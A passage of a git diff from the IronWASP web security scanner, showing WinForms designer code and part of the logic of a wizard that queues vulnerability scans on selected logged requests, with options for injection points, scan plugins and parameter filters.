System.Drawing.Point(255, 29); + this.CookieParametersMinusTB.Name = "CookieParametersMinusTB"; + this.CookieParametersMinusTB.Size = new System.Drawing.Size(542, 20); + this.CookieParametersMinusTB.TabIndex = 52; + this.CookieParametersMinusTB.Text = "JSESSIONID, PHPSESSID, ASPSESSIONID, ASP.NET_SessionId"; + // + // CookieParametersPlusRB + // + this.CookieParametersPlusRB.AutoSize = true; + this.CookieParametersPlusRB.Enabled = false; + this.CookieParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParametersPlusRB.Location = new System.Drawing.Point(215, 8); + this.CookieParametersPlusRB.Name = "CookieParametersPlusRB"; + this.CookieParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.CookieParametersPlusRB.TabIndex = 57; + this.CookieParametersPlusRB.Text = "+"; + this.CookieParametersPlusRB.UseVisualStyleBackColor = true; + this.CookieParametersPlusRB.CheckedChanged += new System.EventHandler(this.CookieParametersPlusRB_CheckedChanged); + // + // CookieParametersMinusRB + // + this.CookieParametersMinusRB.AutoSize = true; + this.CookieParametersMinusRB.Checked = true; + this.CookieParametersMinusRB.Enabled = false; + this.CookieParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParametersMinusRB.Location = new System.Drawing.Point(215, 27); + this.CookieParametersMinusRB.Name = "CookieParametersMinusRB"; + this.CookieParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.CookieParametersMinusRB.TabIndex = 58; + this.CookieParametersMinusRB.TabStop = true; + this.CookieParametersMinusRB.Text = "-"; + this.CookieParametersMinusRB.UseVisualStyleBackColor = true; + this.CookieParametersMinusRB.CheckedChanged += new System.EventHandler(this.CookieParametersMinusRB_CheckedChanged); + // + // Three + // + this.Three.Controls.Add(this.ScanBranchSessionPluginsCombo); + this.Three.Controls.Add(this.ScanThreadLimitCB); + this.Three.Controls.Add(this.textBox4); + this.Three.Controls.Add(this.FormatGrid); + this.Three.Controls.Add(this.LaunchSessionPluginCreationAssistantLL); + this.Three.Controls.Add(this.Step3StatusTB); + this.Three.Controls.Add(this.StepThreePreviousBtn); + this.Three.Controls.Add(this.StepThreeNextBtn); + this.Three.Controls.Add(this.RefreshSessListLL); + this.Three.Controls.Add(this.textBox1); + this.Three.Controls.Add(this.label5); + this.Three.Location = new System.Drawing.Point(4, 25); + this.Three.Name = "Three"; + this.Three.Size = new System.Drawing.Size(826, 332); + this.Three.TabIndex = 6; + this.Three.Text = " Customization "; + this.Three.UseVisualStyleBackColor = true; + // + // ScanBranchSessionPluginsCombo + // + this.ScanBranchSessionPluginsCombo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanBranchSessionPluginsCombo.FormattingEnabled = true; + this.ScanBranchSessionPluginsCombo.Location = new System.Drawing.Point(380, 90); + this.ScanBranchSessionPluginsCombo.Name = "ScanBranchSessionPluginsCombo"; + this.ScanBranchSessionPluginsCombo.Size = new System.Drawing.Size(296, 21); + this.ScanBranchSessionPluginsCombo.TabIndex = 161; + // + // ScanThreadLimitCB + // + this.ScanThreadLimitCB.AutoSize = true; + this.ScanThreadLimitCB.Checked = true; + this.ScanThreadLimitCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanThreadLimitCB.Location = new System.Drawing.Point(11, 120); + this.ScanThreadLimitCB.Name = "ScanThreadLimitCB"; + this.ScanThreadLimitCB.Size = new System.Drawing.Size(489, 17); + this.ScanThreadLimitCB.TabIndex = 160; + this.ScanThreadLimitCB.Text = "When a Session Plugin is selected, automatically set the Scan thread limit to one" + + ". (Recommended)"; + this.ScanThreadLimitCB.UseVisualStyleBackColor = true; + // + // textBox4 + // + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Location = new System.Drawing.Point(8, 182); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(570, 89); + this.textBox4.TabIndex = 159; + this.textBox4.Text = resources.GetString("textBox4.Text"); + // + // FormatGrid + // + this.FormatGrid.AllowUserToAddRows = false; + this.FormatGrid.AllowUserToDeleteRows = false; + this.FormatGrid.AllowUserToResizeRows = false; + this.FormatGrid.BackgroundColor = System.Drawing.Color.White; + this.FormatGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FormatGrid.ColumnHeadersVisible = false; + this.FormatGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn2, + this.dataGridViewTextBoxColumn2}); + this.FormatGrid.GridColor = System.Drawing.Color.White; + this.FormatGrid.Location = new System.Drawing.Point(591, 161); + this.FormatGrid.Margin = new System.Windows.Forms.Padding(0); + this.FormatGrid.Name = "FormatGrid"; + this.FormatGrid.ReadOnly = true; + this.FormatGrid.RowHeadersVisible = false; + this.FormatGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FormatGrid.Size = new System.Drawing.Size(227, 126); + this.FormatGrid.TabIndex = 157; + this.FormatGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatGrid_CellClick); + // + // dataGridViewCheckBoxColumn2 + // + this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn2.HeaderText = ""; + this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; + this.dataGridViewCheckBoxColumn2.ReadOnly = true; + this.dataGridViewCheckBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn2.Width = 20; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn2.HeaderText = "SCAN PLUGINS"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // LaunchSessionPluginCreationAssistantLL + // + this.LaunchSessionPluginCreationAssistantLL.AutoSize = true; + this.LaunchSessionPluginCreationAssistantLL.Location = new System.Drawing.Point(10, 54); + this.LaunchSessionPluginCreationAssistantLL.Name = "LaunchSessionPluginCreationAssistantLL"; + this.LaunchSessionPluginCreationAssistantLL.Size = new System.Drawing.Size(202, 13); + this.LaunchSessionPluginCreationAssistantLL.TabIndex = 156; + this.LaunchSessionPluginCreationAssistantLL.TabStop = true; + this.LaunchSessionPluginCreationAssistantLL.Text = "Launch Session Plugin Creation Assistant"; + this.LaunchSessionPluginCreationAssistantLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LaunchSessionPluginCreationAssistantLL_LinkClicked); + // + // Step3StatusTB + // + this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step3StatusTB.BackColor = System.Drawing.Color.White; + this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step3StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step3StatusTB.Location = new System.Drawing.Point(130, 302); + this.Step3StatusTB.Multiline = true; + this.Step3StatusTB.Name = "Step3StatusTB"; + this.Step3StatusTB.Size = new System.Drawing.Size(577, 22); + this.Step3StatusTB.TabIndex = 155; + this.Step3StatusTB.TabStop = false; + this.Step3StatusTB.Visible = false; + // + // StepThreePreviousBtn + // + this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreePreviousBtn.Location = new System.Drawing.Point(7, 301); + this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; + this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreePreviousBtn.TabIndex = 154; + this.StepThreePreviousBtn.Text = "<-Previous Step"; + this.StepThreePreviousBtn.UseVisualStyleBackColor = true; + this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); + // + // StepThreeNextBtn + // + this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreeNextBtn.Location = new System.Drawing.Point(713, 301); + this.StepThreeNextBtn.Name = "StepThreeNextBtn"; + this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreeNextBtn.TabIndex = 153; + this.StepThreeNextBtn.Text = "Next Step ->"; + this.StepThreeNextBtn.UseVisualStyleBackColor = true; + this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); + // + // RefreshSessListLL + // + this.RefreshSessListLL.AutoSize = true; + this.RefreshSessListLL.Location = new System.Drawing.Point(682, 94); + this.RefreshSessListLL.Name = "RefreshSessListLL"; + this.RefreshSessListLL.Size = new System.Drawing.Size(140, 13); + this.RefreshSessListLL.TabIndex = 152; + this.RefreshSessListLL.TabStop = true; + this.RefreshSessListLL.Text = "Refresh Session Plugins List"; + this.RefreshSessListLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.RefreshSessListLL_LinkClicked); + // + // textBox1 + // + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(11, 7); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(798, 48); + this.textBox1.TabIndex = 151; + this.textBox1.TabStop = false; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(10, 94); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(367, 13); + this.label5.TabIndex = 7; + this.label5.Text = "If you want to use a Session Plugin for the scan then select one from this list:"; + // + // Four + // + this.Four.Controls.Add(this.ScanBranchErrorTB); + this.Four.Controls.Add(this.ScanBranchStatsPanel); + this.Four.Controls.Add(this.textBox3); + this.Four.Controls.Add(this.SaveTemplateLL); + this.Four.Controls.Add(this.label29); + this.Four.Controls.Add(this.StepFourPreviousBtn); + this.Four.Controls.Add(this.FinalBtn); + this.Four.Location = new System.Drawing.Point(4, 25); + this.Four.Name = "Four"; + this.Four.Size = new System.Drawing.Size(826, 332); + this.Four.TabIndex = 3; + this.Four.Text = " Done "; + this.Four.UseVisualStyleBackColor = true; + // + // ScanBranchErrorTB + // + this.ScanBranchErrorTB.BackColor = System.Drawing.SystemColors.Control; + this.ScanBranchErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanBranchErrorTB.ForeColor = System.Drawing.Color.Red; + this.ScanBranchErrorTB.Location = new System.Drawing.Point(17, 206); + this.ScanBranchErrorTB.Multiline = true; + this.ScanBranchErrorTB.Name = "ScanBranchErrorTB"; + this.ScanBranchErrorTB.ReadOnly = true; + this.ScanBranchErrorTB.Size = new System.Drawing.Size(798, 46); + this.ScanBranchErrorTB.TabIndex = 98; + this.ScanBranchErrorTB.TabStop = false; + // + // ScanBranchStatsPanel + // + this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressLbl); + this.ScanBranchStatsPanel.Controls.Add(this.ScanBranchProgressBar); + this.ScanBranchStatsPanel.Location = new System.Drawing.Point(169, 293); + this.ScanBranchStatsPanel.Name = "ScanBranchStatsPanel"; + this.ScanBranchStatsPanel.Size = new System.Drawing.Size(449, 27); + this.ScanBranchStatsPanel.TabIndex = 97; + this.ScanBranchStatsPanel.Visible = false; + // + // ScanBranchProgressLbl + // + this.ScanBranchProgressLbl.AutoSize = true; + this.ScanBranchProgressLbl.Location = new System.Drawing.Point(3, 9); + this.ScanBranchProgressLbl.Name = "ScanBranchProgressLbl"; + this.ScanBranchProgressLbl.Size = new System.Drawing.Size(31, 13); + this.ScanBranchProgressLbl.TabIndex = 98; + this.ScanBranchProgressLbl.Text = "Stats"; + // + // ScanBranchProgressBar + // + this.ScanBranchProgressBar.Location = new System.Drawing.Point(265, 2); + this.ScanBranchProgressBar.Name = "ScanBranchProgressBar"; + this.ScanBranchProgressBar.Size = new System.Drawing.Size(181, 23); + this.ScanBranchProgressBar.TabIndex = 0; + // + // textBox3 + // + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Location = new System.Drawing.Point(14, 17); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(801, 25); + this.textBox3.TabIndex = 150; + this.textBox3.Text = "You can now start this scan. All scan jobs created would be available under the \'" + + "Automated Scanning\' section. You can stop or restart any of the scans from there" + + ".\r\n"; + // + // SaveTemplateLL + // + this.SaveTemplateLL.AutoSize = true; + this.SaveTemplateLL.Location = new System.Drawing.Point(576, 45); + this.SaveTemplateLL.Name = "SaveTemplateLL"; + this.SaveTemplateLL.Size = new System.Drawing.Size(107, 13); + this.SaveTemplateLL.TabIndex = 149; + this.SaveTemplateLL.TabStop = true; + this.SaveTemplateLL.Text = "Save Scan Template"; + this.SaveTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveTemplateLL_LinkClicked); + // + // label29 + // + this.label29.AutoSize = true; + this.label29.Location = new System.Drawing.Point(14, 45); + this.label29.Name = "label29"; + this.label29.Size = new System.Drawing.Size(556, 13); + this.label29.TabIndex = 148; + this.label29.Text = "If you wish to save to the generic settings you entered so far then you can save " + + "it to a scan template file and reuse it."; + // + // StepFourPreviousBtn + // + this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepFourPreviousBtn.Location = new System.Drawing.Point(7, 301); + this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; + this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepFourPreviousBtn.TabIndex = 147; + this.StepFourPreviousBtn.Text = "<-Previous Step"; + this.StepFourPreviousBtn.UseVisualStyleBackColor = true; + this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); + // + // FinalBtn + // + this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FinalBtn.Location = new System.Drawing.Point(713, 302); + this.FinalBtn.Name = "FinalBtn"; + this.FinalBtn.Size = new System.Drawing.Size(105, 23); + this.FinalBtn.TabIndex = 146; + this.FinalBtn.Text = "Start Scan"; + this.FinalBtn.UseVisualStyleBackColor = true; + this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); + // + // SaveTemplateDialog + // + this.SaveTemplateDialog.DefaultExt = "isst"; + this.SaveTemplateDialog.Filter = "IronWASP Selected Scan Template|*.isst"; + // + // OpenTemplateDialog + // + this.OpenTemplateDialog.DefaultExt = "isst"; + this.OpenTemplateDialog.Filter = "IronWASP Selected Scan Template|*.isst"; + // + // ScanSelectedWizard + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(834, 361); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(850, 400); + this.MinimumSize = new System.Drawing.Size(850, 400); + this.Name = "ScanSelectedWizard"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "ScanSelectedWizard"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ScanSelectedWizard_FormClosing); + this.Load += new System.EventHandler(this.ScanSelectedWizard_Load); + this.BaseTabs.ResumeLayout(false); + this.Zero.ResumeLayout(false); + this.Zero.PerformLayout(); + this.One.ResumeLayout(false); + this.One.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); + this.Two.ResumeLayout(false); + this.Two.PerformLayout(); + this.groupBox6.ResumeLayout(false); + this.groupBox6.PerformLayout(); + this.groupBox7.ResumeLayout(false); + this.groupBox7.PerformLayout(); + this.groupBox8.ResumeLayout(false); + this.groupBox8.PerformLayout(); + this.groupBox9.ResumeLayout(false); + this.groupBox9.PerformLayout(); + this.Three.ResumeLayout(false); + this.Three.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).EndInit(); + this.Four.ResumeLayout(false); + this.Four.PerformLayout(); + this.ScanBranchStatsPanel.ResumeLayout(false); + this.ScanBranchStatsPanel.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage Zero; + private System.Windows.Forms.Label ScanTemplateNameLbl; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.LinkLabel LoadTemplateLL; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.Button StepZeroNextBtn; + private System.Windows.Forms.TabPage One; + internal System.Windows.Forms.TextBox Step1StatusTB; + internal System.Windows.Forms.CheckBox ScanAllPluginsCB; + private System.Windows.Forms.Button StepOnePreviousBtn; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.Label label23; + internal System.Windows.Forms.CheckBox InjectNamesCB; + internal System.Windows.Forms.DataGridView ScanPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.Label label24; + internal System.Windows.Forms.CheckBox InjectHeadersCB; + internal System.Windows.Forms.CheckBox InjectCookieCB; + internal System.Windows.Forms.CheckBox InjectBodyCB; + internal System.Windows.Forms.CheckBox InjectQueryCB; + internal System.Windows.Forms.CheckBox InjectUrlPathPartsCB; + private System.Windows.Forms.TabPage Two; + internal System.Windows.Forms.TextBox Step2StatusTB; + private System.Windows.Forms.Label label25; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StepTwoNextBtn; + private System.Windows.Forms.GroupBox groupBox6; + internal System.Windows.Forms.CheckBox HeadersParametersFilterCB; + internal System.Windows.Forms.TextBox HeadersParametersPlusTB; + internal System.Windows.Forms.TextBox HeadersParametersMinusTB; + internal System.Windows.Forms.RadioButton HeadersParametersPlusRB; + internal System.Windows.Forms.RadioButton HeadersParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox7; + internal System.Windows.Forms.CheckBox QueryParametersFilterCB; + internal System.Windows.Forms.TextBox QueryParametersPlusTB; + internal System.Windows.Forms.TextBox QueryParametersMinusTB; + internal System.Windows.Forms.RadioButton QueryParametersPlusRB; + internal System.Windows.Forms.RadioButton QueryParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox8; + internal System.Windows.Forms.CheckBox BodyParametersFilterCB; + internal System.Windows.Forms.TextBox BodyParametersPlusTB; + internal System.Windows.Forms.TextBox BodyParametersMinusTB; + internal System.Windows.Forms.RadioButton BodyParametersPlusRB; + internal System.Windows.Forms.RadioButton BodyParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox9; + internal System.Windows.Forms.CheckBox CookieParametersFilterCB; + internal System.Windows.Forms.TextBox CookieParametersPlusTB; + internal System.Windows.Forms.TextBox CookieParametersMinusTB; + internal System.Windows.Forms.RadioButton CookieParametersPlusRB; + internal System.Windows.Forms.RadioButton CookieParametersMinusRB; + private System.Windows.Forms.TabPage Three; + internal System.Windows.Forms.ComboBox ScanBranchSessionPluginsCombo; + private System.Windows.Forms.CheckBox ScanThreadLimitCB; + private System.Windows.Forms.TextBox textBox4; + internal System.Windows.Forms.DataGridView FormatGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; + internal System.Windows.Forms.TextBox Step3StatusTB; + private System.Windows.Forms.Button StepThreePreviousBtn; + private System.Windows.Forms.Button StepThreeNextBtn; + private System.Windows.Forms.LinkLabel RefreshSessListLL; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage Four; + internal System.Windows.Forms.TextBox ScanBranchErrorTB; + internal System.Windows.Forms.Panel ScanBranchStatsPanel; + internal System.Windows.Forms.Label ScanBranchProgressLbl; + internal System.Windows.Forms.ProgressBar ScanBranchProgressBar; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.LinkLabel SaveTemplateLL; + private System.Windows.Forms.Label label29; + private System.Windows.Forms.Button StepFourPreviousBtn; + internal System.Windows.Forms.Button FinalBtn; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.SaveFileDialog SaveTemplateDialog; + private System.Windows.Forms.OpenFileDialog OpenTemplateDialog; + } } \ No newline at end of file diff --git a/IronWASP/ScanSelectedWizard.cs b/Iron/ScanSelectedWizard.cs similarity index 97% rename from IronWASP/ScanSelectedWizard.cs rename to Iron/ScanSelectedWizard.cs index be416d4..4f10485 100644 --- a/IronWASP/ScanSelectedWizard.cs +++ b/Iron/ScanSelectedWizard.cs @@ -1,1244 +1,1244 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.IO; -using System.Xml; -using System.Threading; - -namespace IronWASP -{ - public partial class ScanSelectedWizard : Form - { - bool CanClose = false; - - int CurrentStep = 0; - - Thread ScanCreationThread; - - int TotalScans = 0; - int ScanDone = 0; - - List LogIdsToScan = new List(); - string LogSource = ""; - - internal bool ScanUrl = true; - internal bool ScanQuery = true; - internal bool ScanBody = true; - internal bool ScanCookie = true; - internal bool ScanHeaders = true; - - internal string SelectedSessionPlugin = ""; - internal List FormatPlugins = new List(); - - internal List ActivePlugins = new List(); - - internal List QueryWhiteList = new List(); - internal List QueryBlackList = new List(); - - internal List BodyWhiteList = new List(); - internal List BodyBlackList = new List(); - - internal List CookieWhiteList = new List(); - internal List CookieBlackList = new List(); - - internal List HeaderWhiteList = new List(); - internal List HeaderBlackList = new List(); - - - public ScanSelectedWizard() - { - InitializeComponent(); - } - - private void ScanSelectedWizard_Load(object sender, EventArgs e) - { - foreach (string Name in ActivePlugin.List()) - { - ScanPluginsGrid.Rows.Add(new object[] { true, Name }); - } - foreach (string Name in FormatPlugin.List()) - { - FormatGrid.Rows.Add(new object[] { true, Name }); - } - ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - - if (InjectQueryCB.Checked) QueryParametersFilterCB.Enabled = true; - if (InjectBodyCB.Checked) BodyParametersFilterCB.Enabled = true; - if (InjectCookieCB.Checked) CookieParametersFilterCB.Enabled = true; - if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Enabled = true; - } - - internal void SetSourceAndLogs(string Source, List LogIds) - { - this.LogSource = Source; - this.LogIdsToScan.AddRange(LogIds); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.CanClose = true; - this.Close(); - } - - private void StepZeroNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab(1); - } - - private void StepOnePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 0; - this.BaseTabs.SelectTab(0); - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - ShowStep1Error(""); - string Msg = CheckStep1Input(); - if (Msg.Length == 0) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - else - { - ShowStep1Error(Msg); - } - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab(1); - } - - private void StepTwoNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 3; - this.BaseTabs.SelectTab(3); - } - - private void StepThreePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - - private void StepThreeNextBtn_Click(object sender, EventArgs e) - { - ShowStep3Error(""); - string Msg = CheckStep3Input(); - if (Msg.Length == 0) - { - this.CurrentStep = 4; - this.BaseTabs.SelectTab(4); - } - else - { - ShowStep3Error(Msg); - } - } - - private void StepFourPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 3; - this.BaseTabs.SelectTab(3); - } - - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep2Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - void ShowStep3Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step3StatusTB.Visible = false; - } - else - { - this.Step3StatusTB.ForeColor = Color.Red; - this.Step3StatusTB.Visible = true; - } - } - void ShowStep4Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - - string CheckStep1Input() - { - if (!(InjectQueryCB.Checked || InjectBodyCB.Checked || InjectCookieCB.Checked || InjectHeadersCB.Checked || InjectUrlPathPartsCB.Checked || InjectNamesCB.Checked)) - { - return "Atleat one section of the request must be selected for scanning."; - } - if (InjectQueryCB.Checked) QueryParametersFilterCB.Checked = true; - if (InjectBodyCB.Checked) BodyParametersFilterCB.Checked = true; - if (InjectCookieCB.Checked) CookieParametersFilterCB.Checked = true; - if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Checked = true; - - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - return ""; - } - } - return "Atleat one security check must be selected for scanning."; - } - - string CheckStep3Input() - { - if (ScanBranchSessionPluginsCombo.Text.Trim().Length > 0 && !SessionPlugin.List().Contains(ScanBranchSessionPluginsCombo.Text)) - { - return "Session Plugin value is invalid, either enter a valid Plugin name or leave this value blank"; - } - return ""; - } - - private void FinalBtn_Click(object sender, EventArgs e) - { - if (FinalBtn.Text.Equals("Close")) - { - this.CanClose = true; - this.Close(); - return; - } - - if (ScanCreationThread != null) - { - try - { - ScanCreationThread.Abort(); - } - catch { } - } - - UpdateScanBranchConfigFromUI(); - - ScanBranchProgressBar.Minimum = 0; - ScanBranchProgressBar.Maximum = LogIdsToScan.Count; - ScanBranchProgressBar.Step = 1; - ScanBranchProgressBar.Value = 0; - ScanBranchProgressLbl.Text = LogIdsToScan.Count.ToString() + " Requests Selected"; - ScanBranchStatsPanel.Visible = true; - - TotalScans = LogIdsToScan.Count; - - ScanCreationThread = new Thread(CreateScans); - ScanCreationThread.Start(); - - StepFourPreviousBtn.Enabled = false; - FinalBtn.Enabled = false; - } - - void CreateScans() - { - foreach (int LogId in LogIdsToScan) - { - try - { - Request Req = Request.FromLog(LogId, this.LogSource); - CreateScan(Req); - } - catch { } - } - UpdateScanBranchStats(0, 0, "All Scan Jobs Created && Queued. Close this Window.", false, true); - } - - void CreateScan(Request Req) - { - Scanner Scan = new Scanner(Req); - Scan = SetSessionPlugin(Scan); - Scan = SetFormatPlugin(Scan); - Scan = AddActivePlugins(Scan); - Scan = SetInjectionPoints(Scan); - if (Scan.InjectionPointsCount == 0) - { - TotalScans--; - UpdateScanBranchStats(ScanDone, TotalScans, "Skipping Request as no Injection Points were Identified...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); - return; - } - Scan.LaunchScan(); - ScanDone++; - UpdateScanBranchStats(ScanDone, TotalScans, "Creating and Queueing Scans...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); - - } - - Scanner SetFormatPlugin(Scanner S) - { - Request RequestToScan = S.OriginalRequest; - - if (!FormatPlugin.IsNormal(RequestToScan)) - { - string FPName = FormatPlugin.Get(RequestToScan, FormatPlugins); - if (FPName.Length > 0 && FPName != "Normal") - { - S.BodyFormat = FormatPlugin.Get(FPName); - } - } - return S; - } - - Scanner SetInjectionPoints(Scanner S) - { - if (ScanQuery) - { - if 